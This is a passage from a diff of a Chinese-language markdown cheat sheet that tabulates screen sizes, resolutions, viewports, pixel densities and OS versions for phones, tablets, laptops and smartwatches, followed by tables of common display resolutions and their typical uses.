| Samsung Galaxy J6 | 5.6 <sub>inch</sub> | 720 x 1480 <sub>px</sub> | | 293 <sub>ppi</sub> | 147 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 8.0 |
|
||||
| Samsung Galaxy J7 | 5.5 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | 360 x 640 <sub>px</sub> | 267 <sub>ppi</sub> | 134 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | Android 6.0.1 |
|
||||
| Samsung Galaxy J7 Prime | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub> | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | Android 6.0.1 |
|
||||
| Samsung Galaxy J7 Prime2 (2018) | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 412 x 732 <sub>px</sub> | 401 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 7.0 |
|
||||
| Samsung Galaxy J7 Pro | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 7.0 |
|
||||
| Samsung Galaxy J8 | 6.0 <sub>inch</sub> | 720 x 1480 <sub>px</sub> | | 274 <sub>ppi</sub> | 137 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 8.0 |
|
||||
| Samsung Galaxy Note20 (2020) | 6.7 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 915 <sub>px</sub> | 393 <sub>ppi</sub> | 150 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy Note20 Ultra (2020) | 6.9 <sub>inch</sub> | 1440 x 3088 <sub>px</sub> | 412 x 883 <sub>px</sub> | 496 <sub>ppi</sub> | 142 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy Note8 | 6.3 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | | 521 <sub>ppi</sub> | 149 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 7.1.1 |
|
||||
| Samsung Galaxy On8 | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub> | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | Android 6.0.1 |
|
||||
| Samsung Galaxy S10 | 6.1 <sub>inch</sub> | 1440 x 3040 <sub>px</sub> | 360 x 760 <sub>px</sub> | 550 <sub>ppi</sub> | 138 <sub>ppi</sub> | 4 <sub>xxxhdpi</sub> | Android 9.0 |
|
||||
| Samsung Galaxy S10 Lite (2020) | 6.7 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 394 <sub>ppi</sub> | 150 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy S10+ | 6.4 <sub>inch</sub> | 1440 x 3040 <sub>px</sub> | 412 x 869 <sub>px</sub> | 522 <sub>ppi</sub> | 149 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 9.0 |
|
||||
| Samsung Galaxy S20 (2020) | 6.4 <sub>inch</sub> | 1440 x 3200 <sub>px</sub> | 360 x 800 <sub>px</sub> | 563 <sub>ppi</sub> | 141 <sub>ppi</sub> | 4 <sub>xxxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy S20 FE (2020) | 6.5 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 407 <sub>ppi</sub> | 155 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy S20 Ultra (2020) | 6.9 <sub>inch</sub> | 1440 x 3200 <sub>px</sub> | 412 x 915 <sub>px</sub> | 511 <sub>ppi</sub> | 146 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy S20+ (2020) | 6.7 <sub>inch</sub> | 1440 x 3200 <sub>px</sub> | 384 x 854 <sub>px</sub> | 525 <sub>ppi</sub> | 140 <sub>ppi</sub> | 3.75 <sub>xxxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy S21 Ultra (2021) | 6.8 <sub>inch</sub> | 1440 x 3200 <sub>px</sub> | 384 x 854 <sub>px</sub> | 515 <sub>ppi</sub> | 137 <sub>ppi</sub> | 3.75 <sub>xxxhdpi</sub> | Android 11.0 |
|
||||
| Samsung Galaxy S8 | 5.8 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | 360 x 740 <sub>px</sub> | 570 <sub>ppi</sub> | 142 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 7.0 |
|
||||
| Samsung Galaxy S8+ | 6.2 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | | 529 <sub>ppi</sub> | 132 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 7.0 |
|
||||
| Samsung Galaxy S9 | 5.8 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | 360 x 740 <sub>px</sub> | 570 <sub>ppi</sub> | 142 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 8.0 |
|
||||
| Samsung Galaxy S9+ | 6.2 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | | 529 <sub>ppi</sub> | 151 <sub>ppi</sub> | 4 <sub>xxxhdpi</sub> | Android 8.0 |
|
||||
| Samsung Galaxy Z Flip (2020) | 6.7 <sub>inch</sub> | 1080 x 2636 <sub>px</sub> | 412 x 1004 <sub>px</sub> | 425 <sub>ppi</sub> | 162 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Samsung Galaxy Z Fold2 (2020) | 7.6 <sub>inch</sub> | 1768 x 2208 <sub>px</sub> | 884 x 1104 <sub>px</sub> | 373 <sub>ppi</sub> | 187 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 10.0 |
|
||||
| Samsung Note10 (2019) | 6.3 <sub>inch</sub> | 1080 x 2280 <sub>px</sub> | 412 x 869 <sub>px</sub> | 401 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Samsung Note10+ (2019) | 6.8 <sub>inch</sub> | 1440 x 3040 <sub>px</sub> | 412 x 869 <sub>px</sub> | 498 <sub>ppi</sub> | 142 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 9.0 |
|
||||
| Samsung S6 | 5.1 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub> | 577 <sub>ppi</sub> | 144 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 5.0.2 |
|
||||
| Samsung S6 edge | 5.1 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub> | 577 <sub>ppi</sub> | 144 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 5.0.2 |
|
||||
| Samsung S7 | 5.1 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub> | 577 <sub>ppi</sub> | 144 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 6.0 |
|
||||
| Samsung S7 edge | 5.5 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub> | 534 <sub>ppi</sub> | 153 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 6.0 |
|
||||
| Sony Xperia X | 5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub> | 441 <sub>ppi</sub> | 147 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | Android 6.0.1 |
|
||||
| Sony Xperia XZ | 5.2 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub> | 424 <sub>ppi</sub> | 141 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | Android 6.0.1 |
|
||||
| Xiaomi Redmi Note 7 (2019) | 6.3 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 409 <sub>ppi</sub> | 149 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Xiaomi Redmi Note 8 (2019) | 6.3 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 409 <sub>ppi</sub> | 149 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Xiaomi Redmi Note 8 Pro (2019) | 6.53 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 395 <sub>ppi</sub> | 144 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
|
||||
### 平板
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
| 设备 | 屏幕尺寸 | 解析度 | 可视窗口 | 密度 | 设备密度 | 比率 | 系统 |
|
||||
|----------------------|----------------------|---------------------------|--------------------------|--------------------|--------------------|----------------------|-----------------|
|
||||
| Apple iPad 10.2" (2019) | 10.2 <sub>inch</sub> | 1620 x 2160 <sub>px</sub> | 810 x 1080 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.1.2 |
|
||||
| Apple iPad 10.2" (2020) | 10.2 <sub>inch</sub> | 1620 x 2160 <sub>px</sub> | 810 x 1080 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 14 |
|
||||
| Apple iPad Air | 9.7 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 7 |
|
||||
| Apple iPad Air 10.5" (2019) | 10.5 <sub>inch</sub> | 1668 x 2224 <sub>px</sub> | 834 x 1112 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.1.2 |
|
||||
| Apple iPad Air 10.9" (2020) | 10.9 <sub>inch</sub> | 1640 x 2360 <sub>px</sub> | 820 x 1180 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 14 |
|
||||
| Apple iPad Air 2 | 9.7 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 8.1 |
|
||||
| Apple iPad Mini 7.9" (2019) | 7.9 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 324 <sub>ppi</sub> | 162 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.1.2 |
|
||||
| Apple iPad Pro | 12.9 <sub>inch</sub> | 2048 x 2732 <sub>px</sub> | 1024 x 1366 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 9 |
|
||||
| Apple iPad Pro 10.5 (2017) | 10.5 <sub>inch</sub> | 1668 x 2224 <sub>px</sub> | 834 x 1112 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 11 |
|
||||
| Apple iPad Pro 11" (2018) | 11 <sub>inch</sub> | 1668 x 2388 <sub>px</sub> | 834 x 1194 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.1.2 |
|
||||
| Apple iPad Pro 11" (2020) | 11 <sub>inch</sub> | 1668 x 2388 <sub>px</sub> | 834 x 1194 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.4 |
|
||||
| Apple iPad Pro 12.9" (2018) | 12.9 <sub>inch</sub> | 2048 x 2732 <sub>px</sub> | 1024 x 1366 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.1.2 |
|
||||
| Apple iPad Pro 12.9" (2020) | 12.9 <sub>inch</sub> | 2048 x 2732 <sub>px</sub> | 1024 x 1366 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.4 |
|
||||
| Apple iPad Pro 9.7 | 9.7 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 9.3.2 |
|
||||
| Apple iPad Pro 9.7 (2017) | 9.7 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 10.3 |
|
||||
| Apple iPad mini 3 | 7.9 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 324 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 9 |
|
||||
| Apple iPad mini 4 | 7.9 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 324 <sub>ppi</sub> | 162 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 8.1 |
|
||||
| Google Pixel C (2015) | 10.2 <sub>inch</sub> | 2560x1800 <sub>px</sub> | 1280 x 900 <sub>px</sub> | 308 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 6.0.1 |
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
|
||||
### 笔记本电脑
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
| 设备 | 屏幕尺寸 | 解析度 | 可视窗口 | 密度 | 设备密度 | 比率 | 系统 |
|
||||
|----------------------|----------------------|---------------------------|--------------------------|--------------------|--------------------|----------------------|-----------------|
|
||||
| MacBook 2015 12" | 12 <sub>inch</sub> | 2304 x 1440 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 226 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook 2016 12" | 12 <sub>inch</sub> | 2304 x 1440 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 226 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook 2017 12" | 12 <sub>inch</sub> | 2304 x 1440 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 226 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Air 2014 11" | 11.6 <sub>inch</sub> | 1366 x 768 <sub>px</sub> | 1366 x 768 <sub>px</sub> | 135 <sub>ppi</sub> | 135 <sub>ppi</sub> | 1.0 <sub>mdpi</sub> | OS X Mavericks |
|
||||
| MacBook Air 2014 13" | 13.3 <sub>inch</sub> | 1440 x 900 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 128 <sub>ppi</sub> | 128 <sub>ppi</sub> | 1.0 <sub>mdpi</sub> | OS X Mavericks |
|
||||
| MacBook Air 2015 11" | 11.6 <sub>inch</sub> | 1366 x 768 <sub>px</sub> | 1366 x 768 <sub>px</sub> | 135 <sub>ppi</sub> | 135 <sub>ppi</sub> | 1.0 <sub>mdpi</sub> | OS X El Capitan |
|
||||
| MacBook Air 2015 13" | 13.3 <sub>inch</sub> | 1440 x 900 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 128 <sub>ppi</sub> | 128 <sub>ppi</sub> | 1.0 <sub>mdpi</sub> | macOS Sierra |
|
||||
| MacBook Air 2017 13" | 13.3 <sub>inch</sub> | 1440 x 900 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 128 <sub>ppi</sub> | 128 <sub>ppi</sub> | 1.0 <sub>mdpi</sub> | macOS Mojave |
|
||||
| MacBook Air 2018 13" | 13.3 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Mojave |
|
||||
| MacBook Air 2020 13" | 13.3 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 114 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | macOS Catalina |
|
||||
| MacBook Pro 13" 2018 | 13.3 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Mojave |
|
||||
| MacBook Pro 15" 2018 | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Mojave |
|
||||
| MacBook Pro 16" 2019 | 16 <sub>inch</sub> | 3072 x 1920 <sub>px</sub> | 1536 x 960 <sub>px</sub> | 226 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Catalina |
|
||||
| MacBook Pro 2014 13" | 13.4 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Pro 2014 15" | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Pro 2015 13" | 13.4 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Pro 2015 15" | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Pro 2016 13" | 13.4 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Pro 2016 15" | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Pro 2017 13" | 13.4 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Pro 2017 15" | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
### 智能手表
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
| 设备 | 屏幕尺寸 | 解析度 | 可视窗口 | 密度 | 设备密度 | 比率 | 系统 |
|
||||
|----------------------|----------------------|---------------------------|--------------------------|--------------------|--------------------|----------------------|-----------------|
|
||||
| Apple Watch SE (40mm) (2020) | 1.57 <sub>inch</sub> | 394 x 324 <sub>px</sub> | 197 x 162 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 7.0 |
|
||||
| Apple Watch SE (44mm) (2020) | 1.78 <sub>inch</sub> | 448 x 368 <sub>px</sub> | 224 x 184 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 7.0 |
|
||||
| Apple Watch Series 3 (38mm) | 1.5 <sub>inch</sub> | 340 x 272 <sub>px</sub> | 170 x 136 <sub>px</sub> | 290 <sub>ppi</sub> | 145 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 4.0 |
|
||||
| Apple Watch Series 3 (42mm) | 1.65 <sub>inch</sub> | 390 x 312 <sub>px</sub> | 195 x 156 <sub>px</sub> | 303 <sub>ppi</sub> | 152 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 4.0 |
|
||||
| Apple Watch Series 4 (40mm) | 1.57 <sub>inch</sub> | 394 x 324 <sub>px</sub> | 197 x 162 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 5.0 |
|
||||
| Apple Watch Series 4 (44mm) | 1.78 <sub>inch</sub> | 448 x 368 <sub>px</sub> | 224 x 184 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 5.0 |
|
||||
| Apple Watch Series 5 (40mm) (2019) | 1.57 <sub>inch</sub> | 394 x 324 <sub>px</sub> | 197 x 162 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 6.0 |
|
||||
| Apple Watch Series 5 (44mm) (2019) | 1.78 <sub>inch</sub> | 448 x 368 <sub>px</sub> | 224 x 184 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 6.0 |
|
||||
| Apple Watch Series 6 (40mm) (2020) | 1.57 <sub>inch</sub> | 394 x 324 <sub>px</sub> | 197 x 162 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 7.0 |
|
||||
| Apple Watch Series 6 (44mm) (2020) | 1.78 <sub>inch</sub> | 448 x 368 <sub>px</sub> | 224 x 184 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 7.0 |
|
||||
| Asus Zenwatch 2 (2015) | 1.63 <sub>inch</sub> | 320 x 320 <sub>px</sub> | 213 x 213 <sub>px</sub> | 278 <sub>ppi</sub> | 185 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | |
|
||||
| Asus Zenwatch 3 (2016) | 1.39 <sub>inch</sub> | 400 x 400 <sub>px</sub> | 267 x 267 <sub>px</sub> | 287 <sub>ppi</sub> | 191 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Android Wear OS 2.1 |
|
||||
| Asus Zenwatch 3 (2016) | 1.39 <sub>inch</sub> | 400 x 400 <sub>px</sub> | 267 x 267 <sub>px</sub> | 287 <sub>ppi</sub> | 191 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Android Wear OS 2.1 |
|
||||
| Huawei Watch GT (2018) | 1.39 <sub>inch</sub> | 454 x 454 <sub>px</sub> | 227 x 227 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | |
|
||||
| Huawei Watch Magic (2018) | 1.2 <sub>inch</sub> | 390 x 390 <sub>px</sub> | 195 x 195 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | |
|
||||
| LG G Watch R (2015) | 1.3 <sub>inch</sub> | 320 x 320 <sub>px</sub> | 213 x 213 <sub>px</sub> | 245 <sub>ppi</sub> | 163 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Android Wear OS 1.0 |
|
||||
| LG Watch Sport (2017) | 1.38 <sub>inch</sub> | 480 x 480 <sub>px</sub> | 240 x 240 <sub>px</sub> | 348 <sub>ppi</sub> | 174 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android Wear 2.0 |
|
||||
| LG Watch Urbane 2nd Edition (2016) | 1.38 <sub>inch</sub> | 480 x 480 <sub>px</sub> | 240 x 240 <sub>px</sub> | 348 <sub>ppi</sub> | 174 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android Wear 2.0 |
|
||||
| LG Watch W7 (2018) | 1.2 <sub>inch</sub> | 360 x 360 <sub>px</sub> | 240 x 240 <sub>px</sub> | 300 <sub>ppi</sub> | 200 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Android Wear OS 2.0 |
|
||||
| Samsung Galaxy Watch (2018) | 1.3 <sub>inch</sub> | 360 x 360 <sub>px</sub> | 240 x 240 <sub>px</sub> | 278 <sub>ppi</sub> | 185 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Tizen-based <br/>wearable OS 4.0 |
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
### 常见的显示分辨率（N/A = 不适用）
|
||||
<!--rehype:wrap-class=col-span-2 row-span-2-->
|
||||
|
||||
标准 | 纵横比 | 可视窗口 | 百万像素 | Steam(%) | Stat Counter(%)
|
||||
:- |:- |:- |:- |:- |:- |
|
||||
`nHD` | 16:9 | 640 x 360 <sub>px</sub> | 0.230 | N/A | 0.47
|
||||
`SVGA` | 4:3 | 800 x 600 <sub>px</sub> | 0.480 | N/A | 0.76
|
||||
`XGA` | 4:3 | 1024 x 768 <sub>px</sub> | 0.786 | 0.38 | 2.78
|
||||
`WXGA` | 16:9 | 1280 x 720 <sub>px</sub> | 0.922 | 0.36 | 4.82
|
||||
`WXGA` | 16:10 | 1280 x 800 <sub>px</sub> | 1.024 | 0.61 | 3.08
|
||||
`SXGA` | 5:4 | 1280 x 1024 <sub>px</sub> | 1.311 | 1.24 | 2.47
|
||||
`HD` | ≈16:9 | 1360 x 768 <sub>px</sub> | 1.044 | 1.55 | 1.38
|
||||
`HD` | ≈16:9 | 1366 x 768 <sub>px</sub> | 1.049 | 10.22 | 23.26
|
||||
`WXGA+` | 16:10 | 1440 x 900 <sub>px</sub> | 1.296 | 3.12 | 6.98
|
||||
N/A | 16:9 | 1536 x 864 <sub>px</sub> | 1.327 | N/A | 8.5
|
||||
`HD+` | 16:9 | 1600 x 900 <sub>px</sub> | 1.440 | 2.59 | 4.14
|
||||
`WSXGA+` | 16:10 | 1680 x 1050 <sub>px</sub> | 1.764 | 1.97 | 2.23
|
||||
`FHD` | 16:9 | 1920 x 1080 <sub>px</sub> | 2.074 | 64.81 | 20.41
|
||||
`WUXGA` | 16:10 | 1920 x 1200 <sub>px</sub> | 2.304 | 0.81 | 0.93
|
||||
`QWXGA` | 16:9 | 2048 x 1152 <sub>px</sub> | 2.359 | N/A | 0.51
|
||||
`QXGA` | 4:3 | 2048 x 1536 <sub>px</sub> | 3.145 | - | -
|
||||
`UWFHD` | ≈21:9 | 2560 x 1080 <sub>px</sub> | 2.765 | 1.13 | N/A
|
||||
`QHD` | 16:9 | 2560 x 1440 <sub>px</sub> | 3.686 | 6.23 | 2.15
|
||||
`WQXGA` | 16:10 | 2560 x 1600 <sub>px</sub> | 4.096 | <0.58 | <2.4
|
||||
`UWQHD` | ≈21:9 | 3440 x 1440 <sub>px</sub> | 4.954 | 0.87 | N/A
|
||||
`4K UHD`| 16:9 | 3840 x 2160 <sub>px</sub> | 8.294 | 2.12 | N/A
|
||||
`Other` | - | - | - | 2.00 | 15.09
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
### 屏幕分辨率
|
||||
|
||||
解析度 | 像素
|
||||
:- |:-
|
||||
`540p / qHD` | 960×540<sub>px</sub>
|
||||
`720p / HD` | 1280×720<sub>px</sub>
|
||||
`1080p / Full HD / FHD` | 19201080<sub>px</sub>
|
||||
`2K` | 2048×1080<sub>px</sub>
|
||||
`1440p / QHD / QuadHD / WQHD` | 2560×1440<sub>px</sub>
|
||||
`2160p / UHD` | 3840×2160<sub>px</sub>
|
||||
`4K` | 4096×2160<sub>px</sub>
|
||||
`5K` | 5120×2880<sub>px</sub>
|
||||
`8K / 8K UHD` | 7680×4320<sub>px</sub>
|
||||
|
||||
### 显示分辨率和用例
|
||||
|
||||
解析度名称 | 设备
|
||||
:- |:-
|
||||
`8K` _(8K UHD)_ | `TVs`
|
||||
`“Cinema” 4K` _(4K)_ | 投影仪
|
||||
`UHD` _(4K, Ultra HD, Ultra-High Definition)_ | `TVs`, 监视器, 智能手机
|
||||
`2K` _(none)_ | 投影仪
|
||||
`WUXGA` _(Widescreen Ultra Extended Graphics Array)_ | 监视器, 投影仪
|
||||
`1080p` _(Full HD, FHD, HD, High Definition)_ | `TVs`, 监视器, 智能手机
|
||||
`720p` _(HD, High Definition)_ `TVs`, 智能手机
|
||||
<!--rehype:className=style-list-arrow-->
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [通用解析度列表](https://en.wikipedia.org/wiki/List_of_common_resolutions) _(en.wikipedia.org)_
|
||||
- [显示屏分辨率](https://en.wikipedia.org/wiki/Display_resolution) _(en.wikipedia.org)_
|
||||
620
docs/sass.md
Normal file
620
docs/sass.md
Normal file
@ -0,0 +1,620 @@
